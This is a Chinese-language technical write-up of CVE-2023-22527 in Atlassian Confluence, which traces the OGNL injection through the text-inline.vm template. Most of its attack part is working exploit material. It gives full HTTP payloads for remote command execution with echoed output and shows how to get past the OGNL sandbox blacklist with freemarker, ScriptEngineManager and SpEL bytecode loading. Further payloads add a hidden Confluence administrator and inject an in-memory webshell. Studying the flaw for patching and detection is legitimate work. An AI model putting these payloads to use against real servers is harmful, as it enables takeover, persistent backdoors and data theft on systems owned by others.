CVE-2023-22527-confluecne 漏洞分析和利用链构造

1. 简介

[1] https://forum.butian.net/share/2741
[2] bypass 沙箱: https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context
[3] https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2023-22527/README.zh-cn.md
OGNL 沙箱利用
[4] https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
前置漏洞
[5] CVE-2021-26084和CVE-2022-26134

覆盖版本

  • 8.5.0 ≤ version ≤ 8.5.3
  • 8.0.x,8.1.x,8.2.x,8.3.x,8.4.x

2. 测试一下

image-20240307092254527

3. 漏洞分析

3.1 text-inline.vm

存在漏洞点的模板,这样的漏洞点还有其他一些模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
<span class="aui-icon icon-required"></span>
<span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")

.vm请求由 ConfluenceVelocityServlet 处理
image-20240307093238153
image-20240307092351860

  • 获取模板

image-20240307092410237

1
2
3
public Template getTemplate(String name, String encoding) throws ResourceNotFoundException, ParseErrorException, Exception {
return this.getVelocityManager().getVelocityEngine().getTemplate(name, encoding);
}
  • 合并模板

image-20240307092427369
… 模板渲染过程省略

  • $stack.findValue()的表达式解析
    :::success
    ONGL 中$、#都可以内置对象和属性,内置对象。
    :::

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #root:表示OGNL表达式的根对象。在一些情况下,如果需要访问整个对象图的根对象,可以使用#root。
    #this:表示当前正在处理的对象。在OGNL表达式中,#this可以用来引用当前正在处理的对象。
    #context:表示OGNL的上下文对象。在一些情况下,可能需要访问OGNL的上下文对象,比如在编写自定义函数时。
    #session:表示当前会话的会话对象。在Web应用中,可以使用#session来访问当前用户的会话信息。
    #request:表示当前HTTP请求对象。在Web应用中,可以使用#request来访问当前HTTP请求的参数和属性。
    #application:表示当前Web应用的应用对象。在Web应用中,可以使用#application来访问应用级别的参数和属性。
    #parameters:表示当前HTTP请求的参数映射。在Web应用中,可以使用#parameters来访问当前HTTP请求的参数。
    #attrs:表示当前HTTP请求的属性映射。在Web应用中,可以使用#attrs来访问当前HTTP请求的属性。
    #sessionScope、#requestScope、#applicationScope:分别表示会话、请求和应用作用域中的属性映射。这些属性可用于访问各个作用域中的属性。

    image-20240307092441988

  • invoke

image-20240307092452639

  • 模板中的漏洞点 $stack.findValue

image-20240307092504970

  • 触发 Ognl 表达式解析

image-20240307092517172

1
2
3
4
5
6
7
8
9
10
private Object getValueUsingOgnl(String expr) throws OgnlException {
Object var2;
try {
var2 = this.ognlUtil.getValue(expr, this.context, this.root);
} finally {
this.context.remove(THROW_EXCEPTION_ON_FAILURE);
}

return var2;
}

两个 findValue 不一样,
第一次是
$stack.findValue()获取的是OgnlValueStack
在 findValue() -> getValueUsingOgnl 测试表达式执行
image-20240307092529936
这里不能使用 ${}包裹,可以使用#{}
image-20240307092539244
第二次是
#request.get('.KEY_velocity.struts2.context').internalGet('ognl')获取的是OgnlTool

1
aaa'+#request.get('.KEY_velocity.struts2.context').internalGet('ognl').findValue(#parameters.poc[0],{})+'&poc=xxxx

image-20240307092556068

3.2 RCE

上面已经找到了 Ongl 表达式注入的地方,但是还不能直接RCE,参考链接[2]
在 [2] 中有一个列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
For Freemarker:

.freemarker.Request (freemarker.ext.servlet.HttpRequestHashModel)
.freemarker.TemplateModel (org.apache.struts2.views.freemarker.ScopesHashModel)
__FreeMarkerServlet.Application__ (freemarker.ext.servlet.ServletContextHashModel)
JspTaglibs (freemarker.ext.jsp.TaglibFactory)
.freemarker.RequestParameters (freemarker.ext.servlet.HttpRequestParametersHashModel)
.freemarker.Request (freemarker.ext.servlet.HttpRequestHashModel)
.freemarker.Application (freemarker.ext.servlet.ServletContextHashModel)
.freemarker.JspTaglibs (freemarker.ext.jsp.TaglibFactory)
ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
stack (com.opensymphony.xwork2.ognl.OgnlValueStack)
struts (org.apache.struts2.util.StrutsUtil)


For JSPs:

com.opensymphony.xwork2.dispatcher.PageContext (PageContextImpl)


For Velocity:

.KEY_velocity.struts2.context -> (StrutsVelocityContext)
ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)

引用[2]
image-20240307093308942
OgnlTool#findValue二次加载 Ognl 表达式
image-20240307092615933

这里查看堆栈,有个OgnlRuntime#invokeMethodInsideSandbox方法引起注入,可会思考 Ognl 的加固方案

image-20240307092625167

4. EXP

测试的 ognl 表达式如下

1
@org.apache. struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))

获取 HttpServletResponse

1
2
3
public static HttpServletResponse getResponse() {
return (HttpServletResponse)ActionContext.getContext().get("com.opensymphony.xwork2.dispatcher.HttpServletResponse");
}

image-20240307092635746

4.1. 命令执行拦截

但是当我使用传统的命令执行表达式时,触发安全拦截

1
@java.lang.Runtime@getRuntime().exec('touch /tmp/1.txt')

image-20240307092646368

  • 子节点 getValue

image-20240307092658143

  • 反射调用方法的代码段

image-20240307092707896

  • 安全拦截

可以看到这里做了一些限制,其中就禁用了一些黑名单类,比如 ClassResolverClassLoaderProcessBuilderRuntime

1
2
3
4
5
6
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}

image-20240307092718021
这个限制默认开启
image-20240307092755873

4.2. 绕过黑名单限制

Poc 中使用 freemarker 的命令执行进行绕过,绕过黑名单即可

  • freemarker
  • ScriptEngineManager
  • groovy

freemarker 命令执行
freemarker.template.utility.Execute()
ScriptEngineManager

4.3. 回显

!直接构造回显, Poc回显会触发长度限制

1
new javax.script.ScriptEngineManager().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("var c=com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getHeader('Token');var x=java.lang.Runtime.getRuntime().exec(c);var out=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().getOutputStream();org.apache.commons.io.IOUtils.copy(x.getInputStream(),out);out.flush();out.close();")')

image-20240307092806193
抛出长度限制的异常,最长的长度只能是 200
image-20240307092815918
思路:通过 Request 参数传递 JS
image-20240307093400959

1
2
3
4
5
6
7
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 603
Token: whoami

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&og=new javax.script.ScriptEngineManager().getEngineByName('js').eval(@org.apache.struts2.ServletActionContext@getRequest().getParameter('js'))&js=var c=com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getHeader('Token');var x=java.lang.Runtime.getRuntime().exec(c);var out=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().getOutputStream();org.apache.commons.io.IOUtils.copy(x.getInputStream(),out);out.flush();out.close();

内存马嵌套ScriptEngineManager内存马即可,集成到插件

4.4. 添加管理员失败及绕过思路

1
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&[email protected]@getUserAccessor().addUser('HWatlassian','atlassian','[email protected]','atlassian')

使用这个 Poc(没有配置所属管理员组),已经报错了,提示没有权限;看来已经修复了这个利用方式
image-20240307092833894
查看com/atlassian/confluence/user/DefaultUserAccessor.class#createUser,方法中已经添加了用户身份校验;且其他用户有关方法都添加了权限校验
image-20240307092848609
但是这个方法并不是最终添加用户的方法,因此绕过上面的权限校验的代码段就可以,考虑可以直接使用 this.getUserManager().createUser()
image-20240307092910464
构造了这样的代码,发送测试,发现并不行

1
2
3
4
5
6
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 427

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&og=(#[email protected]@getUserAccessor()).(#b=new com.atlassian.user.impl.DefaultUser("atlassian1", "atlassian1", "[email protected]")).(#[email protected]@unencrypted("1qaz@WSX")).(#a.getUserManager().createUser(#b,#c))

image-20240307092921491
报错显示,无法获取 getUserManager 方法
image-20240307092933765
因为获取的是代理类,不能转换为 DefaultUserAccessor,不能使用继承类的方法
image-20240307092944601
可以看到是从 Spring 容器中获取的 userAccessor
这里正好找到 userAccessorTarget,可以通过 DefaultUserAccessor dua = (DefaultUserAccessor)ContainerManager.getComponent("userAccessorTarget");获取对应的 bean 对象
image-20240307092955327

通过各种构造,但是 js 这种弱语言构造问题太多,前置类型转换就存在问题,因此考虑还是直接加载字节码更灵活一些

4.5. 加载字节码

正常情况下,通过如下代码就可以实现

1
2
3
4
5
6
7
8
9
10
11
var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('{replace}');
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
try{
var clazz = classLoader.loadClass('{replace}');
clazz.newInstance();
}catch(err){
var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var clazz = method.invoke(classLoader, bytes, 0, bytes.length);
clazz.newInstance();
};

4.5.1 JDK9以上的一些限制

**这里又遇到了问题,由于confluence 测试的这个版本运行在 openjdk11 上,JDK9后的高版本 JDK 加入了模块化设计,无法直接在 js 代码中调用 **java.lang;这里我尝试了使用"".getClass().getClassLoader().getClass()xxxx**来测试,发现 JDK9 后也取消了 **Object.getClass()方法
image-20240307093005381
基于这种情况,只能换一种方式来加载字节码了,好在 confluence 中加载的组件较多,于是测试结合 SpEL 表达式来实现字节码的加载
先测试一下命令执行的字节码,加载字节码成功

1
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&og=new org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(@org.apache.struts2.ServletActionContext@getRequest().getParameter('spel')).getValue()&spel=T(org.springframework.cglib.core.ReflectUtils).defineClass('bytecode.addUser',T(org.springframework.util.Base64Utils).decodeFromString('base64Classxxxxxxxxxxxx'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()

image-20240307093052624

4.6. 使用类加载实现添加管理员和内存马

构造一下添加管理员的思路的利用链

1
2
3
4
5
6
7
8
9
10
11
12
DefaultUserAccessor dua = (DefaultUserAccessor)ContainerManager.getComponent("userAccessorTarget");
DefaultUser defaultUser = new DefaultUser("atlassian5", "atlassian5", "[email protected]");
Credential credential = Credential.unencrypted("1qaz@WSX");
Method method1 = bucket.user.DefaultUserAccessor.class.getDeclaredMethod("getUserManager");
method1.setAccessible(true);
UserManager getUserManager = (UserManager) method1.invoke(dua);
User user = getUserManager.createUser(defaultUser, credential);
Group group = dua.getGroup("confluence-administrators");
Method method2 = bucket.user.DefaultUserAccessor.class.getDeclaredMethod("getGroupManager");
method2.setAccessible(true);
GroupManager groupManager = (GroupManager) method2.invoke(dua);
groupManager.addMembership(group,user);
  • 测试添加管理员成功

image-20240307093111575

  • 内存马的话,由于字节码加载已经解决,直接使用 tomcat 的内存马测试,但是又遇到了异常,报错显示 SpEL 表达式过长,大于 10000 个字符

image-20240307093128794
解决内存马注入问题:继续分解 SpEL 表达式的长度

1
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&og=new org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(@org.apache.struts2.ServletActionContext@getRequest().getParameter('spel')).getValue()&spel=T(org.springframework.cglib.core.ReflectUtils).defineClass('bytecode.tomcat',T(org.springframework.util.Base64Utils).decodeFromString(T(org.apache.struts2.ServletActionContext).getRequest().getParameter('code')),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()&code=yv66vgAAAD.........

image-20240307093200943


后面又发现 github 有个项目发布注入内存马:https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHEL,而且思路很好

  • 他这里先发送一个请求使用 @ognl.Ognl@applyExpressionMaxLength(100000)Ognl 表达式长度限制修改掉
  • 然后再发送一个请求,直接在 Ognl 表达式中使用org.springframework.cglib.core.ReflectUtils 加载内存马

image-20240307093212186